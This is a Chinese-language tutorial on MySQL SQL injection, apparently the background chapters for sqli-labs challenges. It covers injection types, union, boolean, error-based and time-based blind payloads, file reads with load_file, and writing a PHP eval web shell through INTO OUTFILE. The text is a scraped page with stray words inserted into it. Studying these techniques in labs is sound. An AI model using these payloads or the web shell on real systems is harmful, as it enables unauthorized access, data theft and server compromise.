sql

「第一部分/page-1 Basic Challenges」php

 

Background-1 基礎知識html

此處介紹一些 mysql 注入的一些基礎知識。前端

(1)注入的分類---仁者見仁,智者見智mysql

下面這個是阿德瑪表哥的一段話,我的認爲分類已是夠全面了。理解不了跳過,當你徹底看完整個學習過程後再回頭看這段。能徹底理解下面的這些每一個分類,對每一個分類有屬於你的認知和了解的時候,你就算是小有成就了,固然僅僅是 sql 注入上。web

 

基於從服務器接收到的響應正則表達式

▲基於錯誤的 SQL 注入sql

▲聯合查詢的類型shell

▲堆查詢注射數據庫

▲SQL 盲注windows

   •基於布爾 SQL 盲注

   •基於時間的 SQL 盲注

   •基於報錯的 SQL 盲注

 

基於如何處理輸入的 SQL 查詢(數據類型)

    •基於字符串

    •數字或整數爲基礎的

 

 基於程度和順序的注入(哪裏發生了影響)

  ★一階注射

  ★二階注射

      一階注射是指輸入的注射語句對 WEB 直接產生了影響,出現告終果;二階注入相似存儲型 XSS,是指輸入提交的語句,沒法直接對 WEB 應用程序產生影響,經過其它的輔助間接的對 WEB 產生危害,這樣的就被稱爲是二階注入.

基於注入點的位置上的

 ▲經過用戶輸入的表單域的注射。

 ▲經過 cookie 注射。

 ▲經過服務器變量注射。(基於頭部信息的注射)

 

(2)系統函數介紹

幾個經常使用函數:

 1. version()——MySQL 版本

 2. user()——數據庫用戶名

 3. database()——數據庫名

 4. @@datadir——數據庫路徑

 5.@@version_compile_os——操做系統版本

 

(3)字符串鏈接函數

 函數具體介紹  http://www.cnblogs.com/lcamry/p/5715634.html

 1. concat(str1,str2,...)——沒有分隔符地鏈接字符串

 2. concat_ws(separator,str1,str2,...)——含有分隔符地鏈接字符串

 group_concat(str1,str2,...)——鏈接一個組的全部字符串,並以逗號分隔每一條數聽說着比較抽象,其實也並不須要詳細瞭解,知道這三個函數能一次性查出全部信息就好了。

 

 (4)通常用於嘗試的語句

 Ps:--+能夠用#替換,url 提交過程當中 Url 編碼後的#爲

   %23 or 1=1--+

    'or 1=1--+ 

    "or 1=1--+ 

     )or 1=1--+ 

  '  )or 1=1--+

  ") or 1=1--+

  "))or 1=1--+

   通常的代碼爲:

                 $id=$_GET['id'];

                 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

此處考慮兩個點,一個是閉合前面你的 ‘ 另外一個是處理後面的 ‘ ,通常採用兩種思路,閉合後面的引號或者註釋掉,註釋掉採用--+ 或者 #(%23)

 

(5)union 操做符的介紹

UNION 操做符用於合併兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有類似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。

 SQL UNION 語法

   SELECT column_name(s) FROM table_name1

   UNION

   SELECT column_name(s) FROM table_name2

   註釋:默認地,UNION 操做符選取不一樣的值。若是容許重複的值,請使用 UNION ALL。

 SQL UNION ALL 語法

   SELECT column_name(s) FROM table_name1

   UNION ALL

   SELECT column_name(s) FROM table_name2

 另外,UNION 結果集中的列名老是等於 UNION 中第一個 SELECT 語句中的列名。

 

(6)sql 中的邏輯運算

這裏我想說下邏輯運算的問題。

 提出一個問題 Select * from users where id=1 and 1=1; 這條語句爲何可以選擇出 id=1的內容,and 1=1 到底起做用了沒有?這裏就要清楚 sql 語句執行順序了。同時這個問題咱們在使用萬能密碼的時候會用到。

 

 Select * from admin where username=’admin’ and password=’admin’

 

咱們能夠用 ’or 1=1# 做爲密碼輸入。緣由是爲何?

這裏涉及到一個邏輯運算,當使用上述所謂的萬能密碼後,構成的 sql 語句爲:

 

Select * from admin where username=’admin’ and password=’’or 1=1#’

 

Explain:上面的這個語句執行後,咱們在不知道密碼的狀況下就登陸到了 admin 用戶了。緣由是在 where 子句後,咱們能夠看到三個條件語句 username=’admin’ and password=’’or 1=1。三個條件用 and 和 or 進行鏈接。

 

在 sql 中,咱們 and 的運算優先級大於 or 的元算優先級。所以能夠看到 第一個條件(用 a 表示)是真的,第二個條件(用 b 表示)是假的,a and b = false,第一個條件和第二個條件執行 and 後是假,再與第三個條件 or 運算,由於第三個條件 1=1 是恆成立的,因此結果天然就爲真了。所以上述的語句就是恆真了。

 

 

 

①Select * from users where id=1 and 1=1;

 ②Select * from users where id=1 && 1=1;

 ③Select * from users where id=1 & 1=1;

 

 上述三者有什麼區別?①和②是同樣的,表達的意思是 id=1 條件和 1=1 條件進行與運算。

 

③的意思是 id=1 條件與 1 進行&位操做,id=1 被看成 true,與 1 進行 & 運算 結果仍是 1,再進行=操做,1=1,仍是 1(ps:&的優先級大於=)Ps:此處進行的位運算。咱們能夠將數轉換爲二進制再進行與、或、非、異或等運算。必要的時候能夠利用該方法進行注入結果。例如將某一字符轉換爲 ascii 碼後,能夠分別與1,2,4,8,16,32.。。。進行與運算,能夠獲得每一位的值,拼接起來就是 ascii 碼值。再從 ascii 值反推回字符。(運用較少)

 

(7)注入流程

 

咱們的數據庫存儲的數據按照上圖的形式,一個數據庫當中有不少的數據表,數據表當中有不少的列,每一列當中存儲着數據。咱們注入的過程就是先拿到數據庫名,在獲取到當前數據庫名下的數據表,再獲取當前數據表下的列,最後獲取數據。

 

Background-2 盲注的講解

 

何爲盲注?盲注就是在 sql 注入過程當中,sql 語句執行的選擇後,選擇的數據不能回顯到前端頁面。

 

此時,咱們須要利用一些方法進行判斷或者嘗試,這個過程稱之爲盲注。從 background-1 中,咱們能夠知道盲注分爲三類

   •基於布爾 SQL 盲注

 

   •基於時間的 SQL 盲注

 

   •基於報錯的 SQL 盲注

 

Ps:知識點太多了,這裏只能簡單列出來大體講解一下。(ps:每當看到前輩的奇淫技巧的 payload 時,能想象到我心裏的喜悅麼?我真的想細細的寫寫這一塊,可是不知道該怎麼寫或者小夥伴須要怎麼樣來說這個,能夠 m 我。)

 

1:基於布爾 SQL 盲注----------構造邏輯判斷

 

咱們能夠利用邏輯判斷進行截取字符串相關函數解析http://www.cnblogs.com/lcamry/p/5504374.html

(這個仍是要看下)

 

  ▲left(database(),1)>’s’ //left()函數

 

Explain:database()顯示數據庫名稱,left(a,b)從左側截取 a 的前 b 位

 

  ▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+ //substr()函數,ascii()函數

 

Explain:substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。Ascii()將某個字符轉換爲 ascii 值

 

▲ascii(substr((select database()),1,1))=98

 

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函數,MID()函數

 

Explain:mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位

 

Ord()函數同 ascii(),將字符轉爲 ascii 值

 

▲regexp 正則注入

 

正則注入介紹:http://www.cnblogs.com/lcamry/articles/5717442.html

 

用法介紹:select user() regexp '^[a-z]';

 

Explain:正則表達式的用法,user()結果爲 root,regexp 爲匹配 root 的正則表達式。

 

第二位能夠用 select user() regexp '^ro'來進行

 

 

 

當正確的時候顯示結果爲 1,不正確的時候顯示結果爲 0.

示例介紹:

 

I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

 

IIselect * from users where id=1 and 1=(user() regexp'^ri');

 

經過 if 語句的條件判斷,返回一些條件句,好比 if 等構造一個判斷。根據返回結果是否等於 0 或者 1 進行判斷。

 

IIIselect * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

 

這裏利用 select 構造了一個判斷語句。咱們只須要更換 regexp 表達式便可

 

'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE

 

如何知道匹配結束了?

 

這裏大部分根據通常的命名方式(經驗)就能夠判斷。可是如何你在沒法判斷的狀況下,能夠用 table_name regexp '^username$'來進行判斷。

 

 ^是從開頭進行匹配,$是從結尾開始判斷。更多的語法能夠參考 mysql 使用手冊進行了解。

 

好,這裏思考一個問題?

 

table_name 有好幾個,咱們只獲得了一個 user,如何知道其餘的?

 

這裏可能會有人認爲使用 limit 0,1 改成 limit 1,1。

 

可是這種作法是錯誤的,limit 做用在前面的 select 語句中,而不是 regexp。那咱們該如何選擇。其實在 regexp 中咱們是取匹配 table_name 中的內容,只要 table_name 中有的內容,咱們用 regexp 都可以匹配到。

 

所以上述語句不只僅能夠選擇 user,還能夠匹配其餘項。

 

  ▲like 匹配注入

 

和上述的正則相似,mysql 在匹配的時候咱們能夠用 like 進行匹配。

 

用法:select user() like ‘ro%’

 

 

 

2:基於報錯的 SQL 盲注------構造 payload 讓信息經過錯誤提示回顯出來

 

▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

 

//explain:此處有三個點,一是須要 concat 計數,二是 floor,取得 0 or 1,進行數據的重複,三是 group by 進行分組,但具體原理解釋不是很通,大體原理爲分組後數據計數時重複形成的錯誤。也有解釋爲 mysql 的 bug 的問題。

可是此處須要將 rand(0),rand()須要多試幾回才行。

 

以上語句能夠簡化成以下的形式。

 

select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))

 

若是關鍵的表被禁用了,可使用這種形式 select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

 

若是 rand 被禁用了可使用用戶變量來報錯

 

select min(@a:=1) from information_schema.tables group by concat(passwo

 

rd,@a:=(@a+1)%2)

 

▲select exp(~(select * FROM(SELECT USER())a)) //double 數值類型超出範圍

 

//Exp()爲以 e 爲底的對數函數;版本在 5.5.5 及其以上

 

能夠參考 exp 報錯文章:http://www.cnblogs.com/lcamry/articles/5509124.html

 

▲select !(select * from (select user())x) -(ps:這是減號)~0

 

//bigint 超出範圍;~0 是對 0 逐位取反,很大的版本在 5.5.5 及其以上

 

能夠參考文章 bigint 溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

 

▲extractvalue(1,concat(0x7e,(select @@version),0x7e))

se//mysql 對 xml 數據進行查詢和修改的 xpath 函數,xpath 語法錯誤 

 

▲updatexml(1,concat(0x7e,(select @@version),0x7e),1)

//mysql 對 xml 數據進行查詢和修改的 xpath 函數,xpath 語法錯誤

 

▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql 重複特性,此處重複了 version,因此報錯。   

 

3:基於時間的 SQL 盲注----------延時注入

 

▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句,條件爲假,執行 sleep

 

Ps:遇到如下這種利用 sleep()延時注入語句 select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8, 9,.'));

 

該語句意思是在 0-9 之間找版本號的第一位。可是在咱們實際滲透過程當中,這種用法是不可取的,由於時間會有網速等其餘因素的影響,因此會影響結果的判斷。

 

 ▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

 

//BENCHMARK(count,expr)用於測試函數的性能,參數一爲次數,二爲要執行的表達式。可讓函數執行若干次,返回結果比平時要長,經過時間長短的變化,判斷語句是否執行成功。這是一種邊信道攻擊,在運行過程當中佔用大量的 cpu 資源。推薦使用 sleep()函數進行注入。

 

 

Background-3  導入導出相關操做的講解

 

一、load_file()導出文件

 

Load_file(file_name):讀取文件並返回該文件的內容做爲一個字符串。

 

使用條件:

A、必須有權限讀取而且文件必須徹底可讀

 and (select count(*) from mysql.user)>0/* 若是結果返回正常,說明具備讀寫權限。 and (select count(*) from mysql.user)>0/* 返回錯誤,應該是管理員給數據庫賬戶降權

B、欲讀取文件必須在服務器上

C、必須指定文件完整的路徑

D、欲讀取文件必須小於 max_allowed_packet

 

若是該文件不存在,或由於上面的任一緣由而不能被讀出,函數返回空。

 

比較難知足的就是權限,在 windows 下,若是 NTFS 設置得當,是不能讀取相關的文件的,當遇到只有administrators 才能訪問的文件,users 就別想 load_file 出來。

 

在實際的注入中,咱們有兩個難點須要解決:絕對物理路徑構造有效的畸形語句(報錯爆出絕對路徑)

 

在不少 PHP 程序中,當提交一個錯誤的 Query,若是 display_errors = on,程序就會暴露 WEB 目錄的絕對路徑,只要知道路徑,那麼對於一個能夠注入的 PHP 程序來講,整個服務器的安全將受到嚴重的威脅。

 

經常使用路徑:

 

http://www.cnblogs.com/lcamry/p/5729087.html

 

示例:Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))

 

利用 hex()將文件內容導出來,尤爲是 smb 文件時可使用。

 

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain:「char(99,58,47,98,111,111,116,46,105,110,105)」就是「c:/boot.ini」的 ASCII 代碼

 

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)Explain:「c:/boot.ini」的 16 進制是「0x633a2f626f6f742e696e69」

 

-1 union select 1,1,1,load_file(c:\\boot.ini) Explain:路徑裏的/用 \\代替

 

二、文件導入到數據庫

 

LOAD DATA INFILE 語句用於高速地從一個文本文件中讀取行,並裝入一個表中。文件名稱必須爲一個文字字符串。

 

 

 

在注入過程當中,咱們每每須要一些特殊的文件,好比配置文件,密碼文件等。當你具備數據庫的權限時,能夠將系統文件利用 load data infile 導入到數據庫中

 

函數具體介紹:對於參數介紹這裏就不過多的贅述了,能夠參考 mysql 的文檔。(提醒:參考文檔纔是最佳的學習資料)

 

示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

 

 

 

將/tmp/t0.txt 導入到 t0 表中,character set gbk 是字符集設置爲 gbk,fields terminated by 是每一項數據之間的分隔符,lines terminated by 是行的結尾符。

 

當錯誤代碼是 2 的時候的時候,文件不存在,錯誤代碼爲 13 的時候是沒有權限,能夠考慮 /tmp 等文件夾。

 

TIPS:咱們從 mysql5.7 的文檔看到添加了 load xml 函數,是否依舊可以用來作注入還須要驗證。

 

三、導入到文件

 

SELECT.....INTO OUTFILE 'file_name'

 

能夠把被選擇的行寫入一個文件中。該文件被建立到服務器主機上,所以您必須擁有 FILE 權限,才能使用此語法。file_name 不能是一個已經存在的文件。

 

咱們通常有兩種利用形式:

 

第一種直接將 select 內容導入到文件中:

Select version() into outfile 「c:\\phpnow\\htdocs\\test.php」

 

此處將 version()替換成一句話,<?php @eval($_post[「mima」])?>也即

 

Select  <?php @eval($_post[「mima」])?>  into outfile 「c:\\phpnow\\htdocs\\test.php」

 

直接鏈接一句話就能夠了,其實在 select 內容中不只僅是能夠上傳一句話的,也能夠上傳不少的內容。

 

第二種修改文件結尾:

 

Select version() Into outfile 「c:\\phpnow\\htdocs\\test.php」 LINES TERMINATED BY 0x16 進制文件

 

解釋:一般是用‘\r\n’結尾,此處咱們修改成本身想要的任何文件。同時能夠用 FIELDS TERMINATED BY

 

16 進制能夠爲一句話或者其餘任何的代碼,可自行構造。在 sqlmap 中 os-shell 採起的就是這樣的方式,具體可參考 os-shell 分析文章:

 

http://www.cnblogs.com/lcamry/p/5505110.html

 

TIPS:

 

(1)可能在文件路徑當中要注意轉義,這個要看具體的環境

 

(2)上述咱們提到了 load_file(),可是當前臺沒法導出數據的時候,咱們能夠利用下面的語句:

 

select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’

 

能夠利用該語句將服務器當中的內容導入到 web 服務器下的目錄,這樣就能夠獲得數據了。

 

上述 my.ini 當中存在 password 項(不過默認被註釋),固然會有不少的內容能夠被導出來,這個要平時積累。

相關文章
相關標籤/搜索